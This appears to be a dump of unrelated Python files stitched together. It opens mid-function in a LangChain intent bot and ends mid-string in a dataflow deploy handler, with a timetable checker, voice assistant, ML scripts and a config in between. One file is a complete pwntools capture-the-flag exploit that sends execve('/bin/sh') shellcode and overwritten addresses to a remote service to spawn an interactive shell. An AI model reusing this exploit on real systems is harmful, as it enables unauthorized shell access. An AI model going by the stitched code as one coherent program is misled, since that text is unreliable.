                            SystemMessagePromptTemplate.from_template(
                                message_successful(intent, response_action)
                            )
                        )
                    else:
                        messages_template.append(
                            SystemMessagePromptTemplate.from_template(message_error())
                        )

                else:
                    messages_template.append(
                        SystemMessagePromptTemplate.from_template(
                            message_intent_template(intent, data_collected)
                        )
                    )

            except ValueError as e:
                print(f"Error: {e}")

            if should_we_gather_data:
                messages_template.append(
                    SystemMessagePromptTemplate.from_template(
                        message_prompt_template(intent, data_collected)
                    )
                )

        chat_prompt_template = ChatPromptTemplate.from_messages(
            messages=messages_template
        )

        conversation_chain = ConversationChain(
            memory=self.memory,
            prompt=chat_prompt_template,
            llm=self.conversation_llm,
            verbose=self.verbose,
        )

        return conversation_chain.predict(input=message)

    def predict_intents(self, formatted_conversation: str) -> list[Intent]:
        intent_prompt_template = PromptTemplate.from_template(intent_prompt)

        intent_chain = LLMChain(
            prompt=intent_prompt_template, llm=self.intent_llm, verbose=self.verbose
        )

        intents_text = intent_chain.predict(
            formatted_intents=self.formatted_intents,
            formatted_conversation=formatted_conversation,
        )

        return parse_intents(self.intents, intents_text)

    def predict_gathered_data_for_intent(
        self, intent: Intent, formatted_conversation: str
    ) -> str:
        gather_data_prompt = PromptTemplate.from_template(gather_prompt)

        gather_data_chain = LLMChain(
            prompt=gather_data_prompt, llm=self.schema_llm, verbose=self.verbose
        )

        gathered_data_text = gather_data_chain.predict(
            intent_name=intent.name,
            action_args=intent.action_parameters,
            formatted_conversation=formatted_conversation,
        )

        return gathered_data_text

    def predict_check_for_intent_action(
        self, intent: Intent, formatted_conversation: str, customer_info: str
    ) -> bool:
        action_confirmation_prompt = PromptTemplate.from_template(action_prompt)

        action_confirmation_chain = LLMChain(
            prompt=action_confirmation_prompt,
            llm=self.confirmation_llm,
            verbose=self.verbose,
        )

        action_confirmation_text = action_confirmation_chain.predict(
            intent=intent.name,
            formatted_conversation=formatted_conversation,
            customer_info=customer_info,
        )

        return parse_action_confirmation(
            action_confirmation_text=action_confirmation_text
        )

    @property
    def formatted_intents(self) -> str:
        return "\n".join(
            [f"- {intent.name} ({intent.description})" for intent in self.intents]
        )

    def load_business_data(self):
        with open(settings.intents_path + self.business_path) as f:
            data = json.load(f)
            data["auth"]["token"] = settings.magic_hotel_api_token

        self.intents = [
            Intent(
                name=intent.get("name"),
                description=intent.get("description"),
                action_url=intent.get("action_url"),
                action_method=intent.get("action_method"),
                action_parameters=intent.get("action_parameters"),
            )
            for intent in data.get("intents")
        ]
        self.auth = data.get("auth")


from pyparsing import Word, Literal, alphas, OneOrMore, Optional, Group, SkipTo, Suppress
from openpyxl import Workbook, load_workbook
from genparam import read_teachers
from consts import MIN_HRS, MAX_HRS, MIN_HRSD, MAX_HRSD, SLOTS, WK_SLOTS, DAYS, WEEKDAYS, WEEK_HRS, MAX_TEACHERS
import sys
import argparse
import warnings
import logging

def __get_args():
    parser = argparse.ArgumentParser(prog='verify.py', formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument("solution_file", help="Input Solution filename")
    parser.add_argument("teacher_xlsx", help="Input Teacher xlsx filename")

    parser.add_argument("--loglevel", default='info', choices=['info','warning'], help="Set the logging level")

    return parser.parse_args()

def __def_parser():

    left = '['
    right = ']'
    digits = "0123456789"
    comma = ","
    semicolon = ";"
    lparen = '('
    rparen = ')'
    intspec = 'int'
    ellipses = '..'
    varname = Word(alphas)
    rangespec = Word(digits) + ellipses + Optional(Word(digits))
    typespec = semicolon + intspec + lparen + rangespec + rparen
    varspec = 'letting' + varname + 'be'
    valspec = Word(digits) + Optional(comma)
    vecspec = left + OneOrMore(valspec) + Suppress(typespec) + right
    matspec = SkipTo(left) + left + OneOrMore(vecspec.setResultsName('vec',listAllMatches=True) + Optional(comma)) + Suppress(typespec) + right

    return matspec

def parse_solution(f):
    data = ''
    with open(f, 'r') as infile:
        data = infile.read().replace('\n','')

    result = __def_parser().parseString(data)

    roster = []
    for vec in result['vec']:
        str = ""
        for x in vec:
            str += x
        roster.append(eval(str))

    return roster

def test_group_hours(roster):
    data_ok = True

    for (i,g) in enumerate(roster):
        study_hrs = len(g) - g.count(0)
        if study_hrs != WEEK_HRS:
            data_ok = False
            logging.warning("Group {0} hours not scheduled correctly: {1} != {2}".format(i+1,study_hrs,WEEK_HRS))

    if data_ok:
        logging.info("Groups Study Hours: Ok")

    return data_ok

def test_teacher_hours(roster,availability):
    data_ok = True

    num_teachers = len(availability)
    t_hrs = { i:0 for i in range(1,num_teachers+1) }
    day_hrs = { i:[0]*DAYS for i in range(1,num_teachers+1) }

    for g in roster:
        for (i,s) in enumerate(g):
            if s != 0:
                t_hrs[s] += 1
                day = i/SLOTS
                day_hrs[s][day] += 1

    for t in t_hrs.keys():
        if (t_hrs[t] < availability[t-1][0]) or (t_hrs[t] > availability[t-1][1]):
            data_ok = False
            logging.warning("Scheduled Hours for Teacher {0} violated: {1}: [{2},{3}]".format(t,t_hrs[t],availability[t-1][0],availability[t-1][1]))
        for d in range(DAYS):
            if (day_hrs[t][d] > 0) and ((day_hrs[t][d] < MIN_HRSD) or (day_hrs[t][d] > MAX_HRSD)):
                data_ok = False
                logging.warning("Min/Max hours per day for Teacher {0} not fulfilled on {1}: {2}: [{3},{4}]".format(t,WEEKDAYS[d],day_hrs[t][d],MIN_HRSD,MAX_HRSD))

    if data_ok:
        logging.info("Teacher Scheduled Hours: Ok")

    return data_ok

def test_teacher_clash(roster):
    data_ok = True

    num_groups = len(roster)
    for s in range(SLOTS):
        slot_assigns = [ roster[g][s] for g in range(num_groups) if roster[g][s] != 0]
        if len(slot_assigns) > len(set(slot_assigns)):
            data_ok = False
            logging.warning("Clash detected on slot {0}".format(s))

    if data_ok:
        logging.info("Clash detected: None")

    return data_ok

def test_group_teacher_count(roster):
    data_ok = True

    mint = 1000
    for (i,g) in enumerate(roster):
        teachers = set()
        for s in g:
            if s > 0:
                teachers.add(s)

        n = len(teachers)
        mint = n if n < mint else mint

        if len(teachers) > MAX_TEACHERS:
            data_ok = False
            logging.warning("Group {0} teachers count > {1}: {2}".format(i+1,MAX_TEACHERS,list(teachers)))

    logging.info("Minimum Teacher Count: {}".format(mint))

    if data_ok:
        logging.info("Groups Teachers Count: Ok")

    return data_ok

def main():
    args = __get_args()

    log_level = getattr(logging, args.loglevel.upper(), None)
    logging.basicConfig(level=log_level, format='%(asctime)s - %(levelname)s : %(message)s', datefmt='%Y-%m-%d %I:%M:%S %p')

    roster = parse_solution(args.solution_file)

    availability,_ = read_teachers(args.teacher_xlsx)

    test_group_hours(roster)
    test_teacher_hours(roster,availability)
    test_teacher_clash(roster)
    test_group_teacher_count(roster)

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
"""
Created on Fri Apr 16 13:11:33 2021

@author: USUARIO
"""
from __future__ import print_function
import datetime
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
import os
import time
import playsound
import pyttsx3
import speech_recognition as sr
from gtts import gTTS
import pytz
import subprocess

# If modifying these scopes, delete the file token.json.
SCOPES = ['https://www.googleapis.com/auth/calendar.readonly']
MESES = ['janeiro', 'fevereiro', 'março', 'abril', 'maio', 'junho', 'julho', 'agosto', 'setembro', 'outubro', 'novembro', 'dezembro']
DIAS_DA_SEMANA = ['domingo','segunda', 'terça', 'quarta', 'quinta', 'sexta', 'sábado']
DIAS_DA_SEMANA_EXT=['segunda-feira', 'terça-feira', 'quarta-feira', 'quinta-feira', 'sexta-feira']
DIA_EXT = ['primeiro','segundo','terceiro']
CALENDARIO_STRS=["o que eu tenho","estou ocupado","tenho planos"]
NOTE_STRS=["faça uma nota","lembre disso","anote isso"]
WAKE_WORD=["olá marta"]

def speak(text):
    """
    engine=pyttsx3.init()
    engine.say(text)
    engine.runAndWait()
    """
    tts = gTTS(text=text, lang="pt-BR")
    filename="C:\\Users\\USUARIO\\voice.mp3"
    if not os.path.exists(filename):
        tts.save(filename)
    else:
        os.remove(filename)
        tts.save(filename)
    playsound.playsound(filename)
    print(text)

def get_audio():
    r = sr.Recognizer()
    with sr.Microphone() as source:
        audio = r.listen(source)
        said="Sem retorno"
        try:
            r.recognize_google(audio)
            said=r.recognize_google(audio,None,"pt-BR")
            print(said)
        except Exception as e:
            print("Exceptio: "+ str(e))
        return said

def mp3_to_text(filename):
    r = sr.Recognizer()
    with sr.AudioFile(filename) as source:
        audio = r.listen(source)
        said="Sem retorno"
        try:
            r.recognize_google(audio)
            said=r.recognize_google(audio,None,"pt-BR")
            text_file = open("Output.txt", "w")
            text_file.write(said)
            text_file.close()
            print(said)

        except Exception as e:
            print("Exceptio: "+ str(e))
        return said

def authenticate_Google():
    """Shows basic usage of the Google Calendar API.
    Prints the start and name of the next 10 events on the user's calendar.
    """
    creds = None
    # The file token.json stores the user's access and refresh tokens, and is
    # created automatically when the authorization flow completes for the first
    # time.
    if os.path.exists('token.json'):
        creds = Credentials.from_authorized_user_file('token.json', SCOPES)
    # If there are no (valid) credentials available, let the user log in.
    if not creds or not creds.valid:
        if creds and creds.expired and creds.refresh_token:
            creds.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(
                'credentials.json', SCOPES)
            creds = flow.run_local_server(port=0)
        # Save the credentials for the next run
        with open('token.json', 'w') as token:
            token.write(creds.to_json())

    service = build('calendar', 'v3', credentials=creds)

    return service

def get_events(dia,service):

    # Call the Calendar API
    data=datetime.datetime.combine(dia,datetime.datetime.min.time())
    data_fim=datetime.datetime.combine(dia,datetime.datetime.max.time())
    utc=pytz.UTC
    data=data.astimezone(utc)
    data_fim=data_fim.astimezone(utc)

    events_result = service.events().list(calendarId='primary', timeMin=data.isoformat(),
                                         timeMax=data_fim.isoformat(),
                                         singleEvents=True,
                                        orderBy='startTime').execute()
    events = events_result.get('items', [])

    if not events:
        speak("Nenhum evento encontrado.")
    for event in events:
        speak(f"Existem {len(events)} eventos nesse dia.")
        start = event['start'].get('dateTime', event['start'].get('date'))
        print(start, event['summary'])
        Evento_Tempo=str(start.split("T")[1].split("-")[0])
        if int(Evento_Tempo.split(":")[0])<12:
            Evento_Tempo=Evento_Tempo+" da manhã."
        else:
            Evento_Tempo=str(int(Evento_Tempo.split(":")[0])-12)+":"+ Evento_Tempo.split(":")[1]
            Evento_Tempo=Evento_Tempo + " da tarde."
    speak(event["summary"] + " as "+Evento_Tempo)

def get_data(texto):
    texto=texto.lower()
    hoje=datetime.date.today()

    if texto.count("hoje")>0:
        return hoje

    dia =-1
    dia_da_semana=-1
    mes =-1
    ano=hoje.year

    for palavra in texto.split():
        if palavra in MESES:
            mes= MESES.index(palavra)+1
        elif palavra in DIAS_DA_SEMANA:
            dia_da_semana=DIAS_DA_SEMANA.index(palavra)
        elif palavra in DIAS_DA_SEMANA_EXT:
            dia_da_semana=DIAS_DA_SEMANA_EXT.index(palavra)+1
        elif palavra in DIA_EXT:
            dia=DIA_EXT.index(palavra)+1
        elif palavra.isdigit():
            dia=int(palavra)

    if mes<hoje.month and mes!=-1:
        ano=ano+1

    if dia<hoje.day and mes==-1 and dia!=-1:
        mes=hoje.month+1

    if mes==-1 and dia==-1 and dia_da_semana!=-1:
        dia_atual=hoje.weekday()
        dif=dia_da_semana-dia_atual

        if texto.count("próxima")>=1 or texto.count("próximo")>=1 :
            dif+=7

        if dif<0:
            dif+=7

        return hoje+datetime.timedelta(dif)

    return datetime.date(day=dia,month=mes,year=ano)

def Anotar(texto):
    data=datetime.datetime.now()
    file_name=str(data).replace(":","-")+"-note.txt"
    with open(file_name,"w")as f:
        f.write(texto)
    subprocess.Popen(["notepad.exe", file_name])

#text=get_audio()
#print(get_data(text))
service=authenticate_Google()
print("Start!")

while(True):
    print("Ouvindo")
    text=get_audio().lower()
    if text.count(WAKE_WORD[0])>0:
        speak("Hey! Como posso ajudar?")
        text=get_audio()
        for frase in CALENDARIO_STRS:
            if frase in text.lower():
                data=get_data(text)
                if data:
                    get_events(data,service)
                else:
                    speak("Não entendi,fale a data com mais clareza.")
        for frase in NOTE_STRS:
            if frase in text.lower():
                    speak("O que você gostaria de anotar?")
                    note=get_audio().lower()
                    Anotar(note)
                    speak("Eu fiz uma nota!")


#!/usr/bin/python3
from pwn import *

# Global constants
SHELLCODE_TEMPLATE = """
    mov sil, 0
    xor rdx, rdx
    mov rdi, rbp
    mov al, 0x3b
    syscall
    """

def initialize_connection(target, port):
    return remote(target, port)

def get_buffer_address(connection):
    connection.recvuntil(b"Address: ")
    buffer_address = int(connection.recvline().strip(), 16)
    log.info("BUFFER START: " + hex(buffer_address))
    return buffer_address

def assemble_shellcode():
    return asm(SHELLCODE_TEMPLATE)

def send_shellcode(connection, shellcode, buffer_address):
    payload = b"/bin/sh\0" + shellcode.ljust(40, b"\x90") + p64(buffer_address) + p64(buffer_address + 8)
    connection.sendlineafter(b"Shellcode: ", payload)

def main():
    context.binary = ELF("chall")
    context.arch = "amd64"

    connection = initialize_connection("ctf99.cs.ui.ac.id", 10012)
    buffer_address = get_buffer_address(connection)

    shellcode = assemble_shellcode()
    send_shellcode(connection, shellcode, buffer_address)

    connection.interactive()

if __name__ == "__main__":
    main()


# Import the Modules

from sklearn import datasets
from sklearn.neighbors import KNeighborsClassifier

# Loading datasets

iris = datasets.load_iris()

# Printing description

print(iris.DESCR)

# Added the Features and Labels

features = iris.data
label = iris.target
print(features[0],label[0])

# Built and Train the Classifier

clf= KNeighborsClassifier()
clf.fit(features,label)
KNeighborsClassifier()

# Making prediction from sample data

preds = clf.predict([[9.1,9.5,6.4,0.2]])
print(preds)


from __future__ import print_function

import torch
import torch.utils.data
from torch import nn, optim
from torch.autograd import Variable

import time
#import theano
#import theano.tensor as tt

import numpy as np
import math
import pymc
from pymc import MvNormal
from pymc import deterministic
import scipy.io as sio

t0=time.time()
#import seaborn as sns
#import matplotlib.pyplot as plt
seq_length = 201
input_dim = 1862

d=120

class SeqVaeFull(nn.Module):
    def __init__(self):
        super(SeqVaeFull, self).__init__()

        self.fc1 = nn.LSTM(input_dim, 800)
        self.fc21 = nn.LSTM(800, 50)
        self.fc22 = nn.LSTM(800, 50)
        self.fc3 = nn.LSTM(50, 800)
        self.fc41 = nn.LSTM(800, input_dim)
        self.fc42 = nn.LSTM(800, input_dim)
        self.relu = nn.ReLU()
        self.sigmoid = nn.Sigmoid()

    def encode(self, x):
        out, hidden=self.fc1(x)
        h1 = self.relu(out)
        out21,hidden21=self.fc21(h1)
        out22, hidden22 = self.fc22(h1)
        return out21, out22

    def reparameterize(self, mu, logvar):
        if self.training:
            std = logvar.mul(0.5).exp_()
            eps = Variable(std.data.new(std.size()).normal_())
            return eps.mul(std).add_(mu)
        else:
            return mu

    def decode(self, z):
        out3,hidden3=self.fc3(z)
        h3 = self.relu(out3)
        out1,hidden1=self.fc41(h3)
        out2, hidden2 = self.fc42(h3)
        return (out1), (out2)

    def forward(self, x):
        mu, logvar = self.encode(x)
        z = self.reparameterize(mu, logvar)
        muTheta,logvarTheta=self.decode(z)
        return muTheta,logvarTheta, mu, logvar

def readH(path):
    dummy=sio.loadmat(path+'Trans.mat')
    H=dummy['H']
    return H

def readU(path,seg_index=12,exc_index=71):
    TrainData = sio.loadmat(path + 'TmpSeg' + str(seg_index) + 'exc' + str(exc_index) + '.mat')
    U = (TrainData['U'])
    return U.transpose()
def genNoisy(Y,noisevar=1e-4,index=2):
    (a,b)=Y.shape
    noise=np.random.normal(0, math.sqrt(noisevar), [a,b])
    return Y+noise
def Posterior(MuZ,SigmaZ,H,Y,beta):
    (M,N)=MuZ.shape
    betaHH=beta*np.matmul(H.transpose(),H)
    PrecisionZ=np.reciprocal(SigmaZ)
    B=beta*np.matmul(H.transpose(),Y)+np.multiply(PrecisionZ,MuZ)
    logdetP=float(0)
    MeanU=np.empty(shape=[M,0])
    for i in range(N):
        PreZ=(PrecisionZ[:,i])
        PrecisionU=betaHH+np.diag(PreZ)
        Ui=np.linalg.solve(PrecisionU,B[:,i])
        Ui.shape=(M,1)
        #print('Ui is ',Ui)
        #print(Ui)
        MeanU=np.append(MeanU,Ui,axis=1)
        (s,logdet)=np.linalg.slogdet(PrecisionU)
        logdetP=logdetP+logdet
    return MeanU,0.5*logdetP

pathH = '/Users/sg9872/Desktop/Research/Data/Halifax-EC/Simulation/1862/Input/'
pathU = '/Users/sg9872/Desktop/Research_Projects/Sequence_VAE/BigData/'
H = readH(pathH)
print(H.shape)
U = readU(pathU)
Ydata = genNoisy(np.matmul(H, U))
#print('Size of Y:',Y.shape)
beta = 1e5
covY=(1/beta)*np.identity(d)
z_dim=50*seq_length

model = SeqVaeFull()
modelfull = torch.load('output/modelGaussFull1000', map_location={'cuda:0': 'cpu'})
model.load_state_dict(modelfull['state_dict'])
    # ----Loading of previous model ends-----
    # ----- Read H,Y,beta-----

z0 = np.load('Healthy_Z1000.npy')
z0=np.reshape(z0,z_dim,order='F')
c=np.identity(z_dim)
z=MvNormal('z',mu=z0,tau=c)
#z=pymc.Normal('z',mu=1,tau=1)
@pymc.deterministic(plot=False)
def decoderMean(z=z):
    #z=z.reshape(seq_length,1,50)
    Mu, logvar = model.decode(Variable(torch.FloatTensor(z).view(seq_length,1,-1)))  # Converting into torch variable and decoding
    Mu = (Mu.data.view(seq_length, -1).transpose(0,1)).numpy()
    #MuZ = Mu.transpose()

    pathH = '/Users/sg9872/Desktop/Research/Data/Halifax-EC/Simulation/1862/Input/'
    H = readH(pathH)

    MuY=np.matmul(H,Mu)
    return MuY.reshape(seq_length*d,order='F')

@pymc.deterministic(plot=False)
def decoderTau(z=z):
    #z = z.reshape(seq_length, 1, 50)
    Mu, logvar = model.decode(Variable(torch.FloatTensor(z).view(seq_length,1,-1)))  # Converting into torch variable and decoding
    Sigma = logvar.exp()
    Sigma = (Sigma.data.view(seq_length, -1).transpose(0,1)).numpy()
    #SigmaZ = Sigma.transpose()
    SigmaZ=Sigma
    (a,b)=np.shape(SigmaZ)
    TauY=np.eye(d*b)

    for i in range (b):
        vari=SigmaZ[:,i]
        #(g, h) = np.shape(H * vari)
        #print('H size{},H*vari size{}',a,b,g,h)
        covi=np.matmul((H*vari),H.transpose())+(1/beta)*np.eye(d)
        TauY[i*d:(i+1)*d,i*d:(i+1)*d]=np.linalg.inv(covi)
    return TauY

y=MvNormal('y',mu=decoderMean,tau=decoderTau, value=np.reshape(Ydata,d*seq_length,order='F'),observed=True)

print('Reached here! stage 2')

m=pymc.Model([z,y])
mc=pymc.MCMC(m,db='pickle',dbname='pymcTest1')

print('Sampling in process')
mc.sample(iter=250,burn=150)
#pymc.Matplot.plot(mc)

t1=time.time()

print('Time taken for 10 iterations is :',t1-t0)

mc.db.close()

z_sample=mc.trace('z')[:]
print(z_sample)

Mu, logvar = model.decode(Variable(torch.FloatTensor(z_sample).view(seq_length,1,-1)))  # Converting into torch variable and decoding
Sigma = logvar.exp()
Mu = (Mu.data.view(seq_length, -1)).numpy()
Sigma = (Sigma.data.view(seq_length, -1)).numpy()
MuZ = Mu.transpose()
SigmaZ = Sigma.transpose()
    # Sampling ends---------
    #print(MuZ.shape, H.shape)

MeanU, logdetPrecisionU = Posterior(MuZ, SigmaZ, H, Ydata, beta) # Posterior calculation of U given Z, Y
print('Error is',np.linalg.norm(U-MeanU))


# -*- coding: utf8 -*-
ENV = 'development'
HOST = '0.0.0.0'
PORT = 3000
SQLALCHEMY_TRACK_MODIFICATIONS = False
STRICT_SLASHES = False
ANNOTATIONS_PER_PAGE = 1000
CORS_RESOURCES = {
    r"/*": {
        "origins": "*",
        "allow_headers": [
            'Content-Type',
            'Content-Length',
            'Authorization',
            'If-Match',
            'Prefer',
            'Accept',
            'Slug'
        ],
        "max_age": 21600,
        "supports_credentials": True
    }
}
FTS_DEFAULT = 'english'
FTS_LANGUAGE_MAP = {
    'da': 'danish',
    'nl': 'dutch',
    'fi': 'finnish',
    'fr': 'french',
    'de': 'german',
    'hu': 'hungarian',
    'it': 'italian',
    'no': 'norwegian',
    'pt': 'portuguese',
    'ro': 'romanian',
    'ru': 'russian',
    'es': 'spanish',
    'sv': 'swedish',
    'tr': 'turkish',
    'en': 'english'
}


import os
import pandas as pd
import glob

# 定义函数hebing

def hebing():
    list = glob.glob('*.csv')  # 查看同文件夹下的csv文件数

    print(u'共发现%s个CSV文件' % len(list))
    print(u'正在处理............')
    for i in list:  # 循环读取同文件夹下的csv文件
        fr = open(i, 'r').read()
        with open('result.csv', 'a') as f:  # 将结果保存为result.csv
            f.write(fr)
    print(u'合并完毕！')

if __name__ == '__main__':
 hebing()


import json
from datetime import datetime

from common.base_utils import model_to_dict
from common.bklanguage import BkLanguage
from common.exceptions import ApiResultError
from common.local import get_local_param, get_request_username
from django.utils import translation
from django.utils.translation import ugettext as _
from django.utils.translation import ugettext_noop

from dataflow.flow.api_models import ResultTable
from dataflow.flow.exceptions import FlowError, FlowTaskError
from dataflow.flow.handlers.flow import FlowHandler
from dataflow.flow.handlers.node_factory import NODE_FACTORY
from dataflow.flow.models import FlowExecuteLog, FlowInfo, FlowInstance
from dataflow.flow.utils.decorators import ignore_exception
from dataflow.flow.utils.language import Bilingual
from dataflow.flow.utils.local import activate_request
from dataflow.shared.batch.batch_helper import BatchHelper
from dataflow.shared.log import flow_logger as logger
from dataflow.shared.meta.result_table.result_table_helper import ResultTableHelper
from dataflow.shared.send_message import get_common_message_title, send_message

from ...shared.datamanage.datamanage_helper import DatamanageHelper
from ..node_types import NodeTypes
from .deploy.node_tasks import BaseNodeTaskHandler, ShipperNodeTask
from .deploy.node_tasks.batch import BatchNodeTask
from .deploy.node_tasks.clickhouse_storage import ClickHouseNodeTask
from .deploy.node_tasks.druid_storage import DruidNodeTask
from .deploy.node_tasks.elasticsearch_storage import ESNodeTask
from .deploy.node_tasks.hdfs_storage import HdfsNodeTask
from .deploy.node_tasks.model import ModelNodeTask
from .deploy.node_tasks.model_app import ModelAppTask
from .deploy.node_tasks.mysql_storage import MysqlNodeTask
from .deploy.node_tasks.process_model import ProcessModelNodeTask
from .deploy.node_tasks.queue_storage import QueueNodeTask
from .deploy.node_tasks.stream import StreamNodeTask
from .deploy.node_tasks.stream_sdk import StreamSDKNodeTask
from .deploy.node_tasks.transform import TransformNodeTask
from .deploy.storage_task import StorageNodeTask

def step(func):
    def _wrap(*args, **kwargs):
        return func(*args, **kwargs)

    return _wrap

class SourceNodeTask(BaseNodeTaskHandler):
    def build_stop_context(self, flow_task_handler, o_nodes):
        pass

    def build_start_context(self, flow_task_handler, o_nodes):
        pass

    def start_inner(self):
        self.log(Bilingual(ugettext_noop("启动数据源分发进程")))

    def stop_inner(self):
        self.log(Bilingual(ugettext_noop("停止数据源分发进程")))

class TDWSourceNodeTask(BaseNodeTaskHandler):
    def build_start_context(self, flow_task_handler, o_nodes):
        result_table_id = o_nodes[0].result_table_ids[0]
        return {"result_table_id": result_table_id}

    def build_stop_context(self, flow_task_handler, o_nodes):
        result_table_id = o_nodes[0].result_table_ids[0]
        return {"result_table_id": result_table_id}

    def start_inner(self):
        self.log(Bilingual(ugettext_noop("启动数据源分发进程")))
        self.log(Bilingual(ugettext_noop("检查TDW数据源是否同步")))
        result_table_id = self.context["result_table_id"]
        o_rt = ResultTable(result_table_id)
        # 若是 TDW 标准化表(非受控)
        if not o_rt.is_managed:
            # 检查是否已同步
            ResultTableHelper.get_result_table(result_table_id, check_usability=True, extra=True)
        else:
            # 对于 TDW 存储节点产生的 RT，需要保证 lz_id 是存在的，否则启动运行时会报错
            rt_tdw_conf = o_rt.get_extra("tdw")
            if not rt_tdw_conf:
                raise FlowTaskError(Bilingual(ugettext_noop("当前结果表({})TDW信息未配置")).format(result_table_id))
            if o_rt.processing_type == "storage":
                if not rt_tdw_conf["associated_lz_id"] or not rt_tdw_conf["associated_lz_id"]["import"]:
                    raise FlowTaskError(
                        Bilingual(ugettext_noop("当前结果表({})TDW信息不完整，请启动该结果表所在任务")).format(result_table_id)
                    )

    def stop_inner(self):
        self.log(Bilingual(ugettext_noop("停止数据源分发进程")))

class FlowTaskHandler(object):
    M_NODE_TASK = {
        NodeTypes.TSDB_STORAGE: StorageNodeTask,
        NodeTypes.DRUID_STORAGE: DruidNodeTask,
        NodeTypes.HERMES_STORAGE: StorageNodeTask,
        NodeTypes.QUEUE_STORAGE: QueueNodeTask,
        NodeTypes.CLICKHOUSE_STORAGE: ClickHouseNodeTask,
        NodeTypes.MYSQL_STORGAE: MysqlNodeTask,
        NodeTypes.HDFS_STORAGE: HdfsNodeTask,
        NodeTypes.BATCH: BatchNodeTask,
        NodeTypes.BATCHV2: BatchNodeTask,
        NodeTypes.DATA_MODEL_BATCH_INDICATOR: BatchNodeTask,
        NodeTypes.SPARK_STRUCTURED_STREAMING: StreamSDKNodeTask,
        NodeTypes.FLINK_STREAMING: StreamSDKNodeTask,
        NodeTypes.ES_STORAGE: ESNodeTask,
        NodeTypes.MODEL: ModelNodeTask,
        NodeTypes.PROCESS_MODEL: ProcessModelNodeTask,
        NodeTypes.MODEL_TS_CUSTOM: ProcessModelNodeTask,
        NodeTypes.MERGE_KAFKA: TransformNodeTask,
        NodeTypes.SPLIT_KAFKA: TransformNodeTask,
        NodeTypes.TDW_BATCH: BatchNodeTask,
        NodeTypes.TDW_JAR_BATCH: BatchNodeTask,
        NodeTypes.QUEUE_PULSAR_STORAGE: ShipperNodeTask,
        NodeTypes.IGNITE_STORAGE: StorageNodeTask,
        NodeTypes.MODEL_APP: ModelAppTask,
    }
    for node_type in NodeTypes.SOURCE_CATEGORY:
        if node_type in NodeTypes.TDW_SOURCE:
            M_NODE_TASK[node_type] = TDWSourceNodeTask
        else:
            M_NODE_TASK[node_type] = SourceNodeTask

    @classmethod
    def create(cls, flow_id, operator, action, context=None, version=None):
        kwargs = {
            "flow_id": flow_id,
            "created_by": operator,
            "action": action,
        }
        if context is not None:
            kwargs["context"] = json.dumps(context)
        if version is not None:
            kwargs["version"] = version

        o_flow_task = FlowExecuteLog.objects.create(**kwargs)
        return cls(o_flow_task.id)

    def __init__(self, id):
        self.id = id
        self.flow_task = FlowExecuteLog.objects.get(id=id)
        self._operator = self.flow_task.created_by
        # 缓存 FlowHandler 对象，FlowInstance 对象
        self._flow = None
        self._instance = None

        # 上一次启动的版本
        self.pre_version = None

        # 如果是重启过程，记录需要重启的节点
        self.nodes_to_restart = {}

        # 如果是重启过程，记录需要"轻量级重启"的节点
        self.nodes_to_restart_slightly = {}

    @property
    def operator(self):
        return self._operator

    @operator.setter
    def operator(self, operator):
        self._operator = operator

    def execute(self):
        # 重新初始化线程变量
        activate_request(self.flow_task.created_by)
        DEPLOY_FUNS_DISPATCH = {
            FlowExecuteLog.ACTION_TYPES.START: self.start,
            FlowExecuteLog.ACTION_TYPES.STOP: self.stop,
            FlowExecuteLog.ACTION_TYPES.RESTART: self.restart,
        }

        try:
            self.lock()
            self.flow_task.set_status(FlowExecuteLog.STATUS.RUNNING)
            DEPLOY_FUNS_DISPATCH[self.action_type]()

            self.ok_callback(Bilingual(ugettext_noop("无")))
        except FlowError as e:
            logger.exception(_("自定义异常"))
            self.fail_callback(e.format_msg())
            self.log(
                Bilingual(ugettext_noop("部署过程异常，errors=({})")).format(e.format_msg()),
                level="ERROR",
            )
        except Exception as e:
            logger.exception(_("非预期异常"))
            self.fail_callback(str(e))
            self.log(
                Bilingual(ugettext_noop("部署过程出现非预期异常，errors={}")).format(str(e).replace("\n", " ")),
                level="ERROR",
            )
        finally:
            self.unlock()

    def execute_stream(self):
        # 重新初始化线程变量
        activate_request(self.flow_task.created_by)
        try:
            self.lock()
            # 停止实时任务
            node_tasks = self.build_stop_stream_node_tasks()
            for _nt in node_tasks:
                _nt.stop()
            # 启动实时任务
            node_tasks = self.build_start_stream_node_tasks()
            for _nt in node_tasks:
                _nt.start()

            self.ok_callback(Bilingual(ugettext_noop("重启实时节点成功")))
        except FlowError as e:
            logger.exception(_("自定义异常"))
            self.fail_callback(e.format_msg())
        except Exception as e:
            logger.exception(_("非预期异常"))
            self.fail_callback(str(e))
        finally:
            self.unlock()

    def execute_stream_stop(self):
        # 重新初始化线程变量
        activate_request(self.flow_task.created_by)
        try:
            self.lock()
            # 停止实时任务
            node_tasks = self.build_stop_stream_node_tasks()
            for _nt in node_tasks:
                _nt.stop()

            self.ok_callback(Bilingual(ugettext_noop("停止实时节点成功")))
        except FlowError as e:
            logger.exception(_("自定义异常"))
            self.fail_callback(e.format_msg())
        except Exception as e:
            logger.exception(_("非预期异常"))
            self.fail_callback(str(e))
        finally:
            self.unlock()

    def execute_stream_start(self):
        # 重新初始化线程变量
        activate_request(self.flow_task.created_by)
        try:
            self.lock()
            # 启动实时任务
            node_tasks = self.build_start_stream_node_tasks()
            for _nt in node_tasks:
                _nt.start()

            self.ok_callback(Bilingual(ugettext_noop("启动实时节点成功")))
        except FlowError as e:
            logger.exception(_("自定义异常"))
            self.fail_callback(e.format_msg())
        except Exception as e:
            logger.exception(_("非预期异常"))
            self.fail_callback(str(e))
        finally:
            self.unlock()

    @ignore_exception
    def send_message(self, message):
        """
        发送消息通知，根据用户语言发送相关信息
        对于详细信息，若有报错，信息用英文(celery任务默认语言为英文)，不报错则根据用户语言发送详细信息
        """
        flow_task = self.flow_task
        operator = flow_task.created_by
        # 若获取不到用户的语言配置(如内部版)，采用用户访问时的语言环境
        language = BkLanguage.get_user_language(operator, default=get_local_param("request_language_code"))
        translation.activate(language)
        receivers = [operator]
        flow_name = FlowInfo.objects.get(flow_id=flow_task.flow_id).flow_name
        title = get_common_message_title()
        content = _(
            "通知类型: {message_type}
"
            "任务名称: {flow_name}
"
            "部署类型: {op_type}
"
            "部署状态: {result}
"
            "详细信息:
{message}"
        ).format(
            message_type=_("任务部署"),
